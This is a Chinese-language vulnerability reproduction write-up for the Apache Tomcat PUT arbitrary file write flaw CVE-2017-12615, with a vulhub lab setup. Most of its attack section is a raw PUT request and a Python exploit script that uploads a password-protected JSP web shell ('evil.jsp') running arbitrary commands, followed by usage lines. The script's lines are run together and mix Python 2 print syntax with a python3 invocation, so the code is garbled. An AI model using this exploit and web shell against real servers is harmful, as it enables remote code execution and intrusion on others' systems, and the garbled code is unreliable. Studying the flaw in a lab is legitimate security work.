Tomcat PUT方法任意写文件 CVE-2017-12615 漏洞复现

Tomcat PUT方法任意写文件 CVE-2017-12615 漏洞复现

  • 一、漏洞描述
  • 二、漏洞影响
  • 三、漏洞复现
    • 1、环境搭建
    • 2、漏洞复现
  • 四、漏洞EXP
  • 五、参考链接

一、漏洞描述

在启用 HTTP PUT 的 Windows 上运行 Apache Tomcat 7.0.0 到 7.0.79 时(例如,通过将 Default 的只读初始化参数设置为 false),可以通过特制的请求将 JSP 文件上传到服务器。然后可以请求这个 JSP,并且它包含的任何代码都将由服务器执行。

二、漏洞影响

7.0.0 < Apache Tomcat < 7.0.79 中默认配置为readonly=false
若其他版本这么配置,也可以通过 PUT / DELETE 进行文件操控。 。

三、漏洞复现

1、环境搭建

执行如下命令,启动Apache Tomcat/8.5.19版本:

cd vulhub/tomcat/CVE-2017-12615
docker-compose build
docker-compose up -d

运行完成后访问http://x.x.x.x:8080即可看到 Tomcat 的 Example 页面。
Tomcat PUT方法任意写文件 CVE-2017-12615 漏洞复现_第1张图片
查看conf/web.xml文件:
Tomcat PUT方法任意写文件 CVE-2017-12615 漏洞复现_第2张图片
其中配置了readonly=false,也就导致了可以往服务器写文件。

2、漏洞复现

直接发送以下数据包即可在 Web 根目录写入 shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

四、漏洞EXP

#! -*- coding:utf-8 -*- 
import requests
import sys
body = '''
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
    StringBuilder line = new StringBuilder();
    try {
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) {
    line.append(temp+"\\n");}
    buf.close();
    } 
    catch (Exception e) {
    line.append(e.getMessage());}
    return line.toString();}
    %>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
    out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");} else{out.println(":-)");} %>'''
requests.put(sys.argv[1]+'evil.jsp/',data=body) rq = requests.get(sys.argv[1]+'evil.jsp') if rq.status_code == 200: print "[+] You GOt it!" else: print "[-] It seems no vuln!"

使用说明:

python3 exp.py http://x.x.x.x:8080/

http://x.x.x.x:8080/evil.jsp?pwd=023&cmd=ls

五、参考链接

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

你可能感兴趣的:(漏洞复现,Tomcat,PUT方法任意写文件,CVE-2017-12615,漏洞复现,安全)